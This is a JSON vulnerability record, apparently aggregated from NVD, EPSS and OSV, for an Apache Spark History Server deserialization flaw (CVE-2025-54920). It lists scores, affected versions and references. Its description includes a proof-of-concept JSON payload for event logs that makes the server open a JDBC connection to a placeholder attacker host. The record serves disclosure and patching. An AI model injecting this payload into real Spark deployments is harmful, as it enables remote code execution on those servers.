{"cve":"CVE-2025-54920","nvd":{"published":"2026-03-16T14:17:59.877","modified":"2026-06-17T09:40:56.730","status":"Analyzed","description":"This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.\n\n\n\n\n\nSummary\n\nApache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.\n\n\n\n\n\nDetails\n\nThe vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.\n\n\nThe attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.\n\n\n\n\n\n\nProof of Concept:\n\n1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).\n\n2. Inject the following JSON at the beginning of an event log file:\n\n\n{\n\n  \"Event\": \"org.apache.hive.jdbc.HiveConnection\",\n  \"uri\": \"jdbc:hive2://<IP>:<PORT>/\",\n  \"info\": {\n    \"hive.metastore.uris\": \"thrift://<IP>:<PORT>\"\n  }\n}\n\n\n\n\n\n\n\n3. Start the Spark History Server with logs pointing to the modified directory.\n\n4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.\n\n\n\n\n\n\n\n\n\n\nImpact\n\nAn attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.","cvss_v4":null,"cvss_v3":{"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8},"cwes":["CWE-502"],"references":["https://github.com/apache/spark/pull/51312","https://github.com/apache/spark/pull/51323","https://issues.apache.org/jira/browse/SPARK-52381","https://lists.apache.org/thread/4y9n0nfj7m68o2hpmoxgc0y7dm1lo02s","http://www.openwall.com/lists/oss-security/2026/03/13/4"],"products":["apache:spark"],"source":"nvd","synced_at":"2026-10-19T22:26:19.218427112+00:00"},"epss":{"cve":"CVE-2025-54920","score":0.05422,"percentile":0.92703,"date":"2026-10-31"},"kev":null,"osv":[{"id":"GHSA-jwp6-cvj8-fw65","url":"https://osv.dev/vulnerability/GHSA-jwp6-cvj8-fw65","summary":"Apache Spark: Spark History Server Code Execution Vulnerability","modified":"2026-09-10T03:51:00.600107520Z","packages":[{"ecosystem":"Maven","name":"org.apache.spark:spark-core_2.13","purl":"pkg:maven/org.apache.spark/spark-core_2.13","ranges":[">=4.0.0 <4.0.1"],"fixed":["4.0.1"]},{"ecosystem":"Maven","name":"org.apache.spark:spark-core_2.13","purl":"pkg:maven/org.apache.spark/spark-core_2.13","ranges":["<3.5.7"],"fixed":["3.5.7"]},{"ecosystem":"Maven","name":"org.apache.spark:spark-core_2.12","purl":"pkg:maven/org.apache.spark/spark-core_2.12","ranges":["<3.5.7"],"fixed":["3.5.7"]},{"ecosystem":"Maven","name":"org.apache.spark:spark-core_2.11","purl":"pkg:maven/org.apache.spark/spark-core_2.11","ranges":["<=2.4.8"],"fixed":[]},{"ecosystem":"Maven","name":"org.apache.spark:spark-core_2.10","purl":"pkg:maven/org.apache.spark/spark-core_2.10","ranges":["<=2.2.3"],"fixed":[]},{"ecosystem":"Maven","name":"org.apache.spark:spark-core_2.9.3","purl":"pkg:maven/org.apache.spark/spark-core_2.9.3","ranges":["<=0.8.1-incubating"],"fixed":[]}]}],"attribution":["This product uses the NVD API but is not endorsed or certified by the NVD.","EPSS scores: FIRST Exploit Prediction Scoring System, https://www.first.org/epss","Known exploited vulnerabilities: CISA Known Exploited Vulnerabilities Catalog, https://www.cisa.gov/known-exploited-vulnerabilities-catalog","Package advisories: OSV (https://osv.dev), from the GitHub Advisory Database, PyPA, Go, RustSec and other ecosystem databases, under CC-BY 4.0 or CC0","CVE records: the CVE Program's CVE List (https://www.cve.org), under its terms of use (https://www.cve.org/Legal/TermsOfUse). CVE is a registered trademark of The MITRE Corporation; this product is not affiliated with the CVE Program."]}